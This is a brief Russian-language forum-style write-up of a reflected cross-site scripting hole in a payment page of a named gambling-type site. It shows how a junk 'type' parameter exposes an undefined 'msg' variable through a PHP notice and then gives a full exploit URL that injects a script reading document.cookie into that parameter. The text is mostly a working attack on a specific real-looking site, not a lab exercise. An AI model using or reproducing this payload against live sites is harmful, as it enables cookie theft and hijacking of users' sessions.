Межсайтовый скриптинг
..............................................
подставляем левое значение.
http://20.goldsvet.biz/lobby/pay.php?type=blah
Notice: Undefined variable: msg in /home/[раскрыт путь, но толку от него 0]/pay.php on line 88
найдена переменная msg(о ней ниже)->XSS

переменная msg в которой содержится выводимое сообщение о начислении бонуса стало Undefined. И ее можно переопределить.
http://20.goldsvet.biz/lobby/pay.php?type=blah&msg=<script>alert(document.cooki e)</script>
..............................................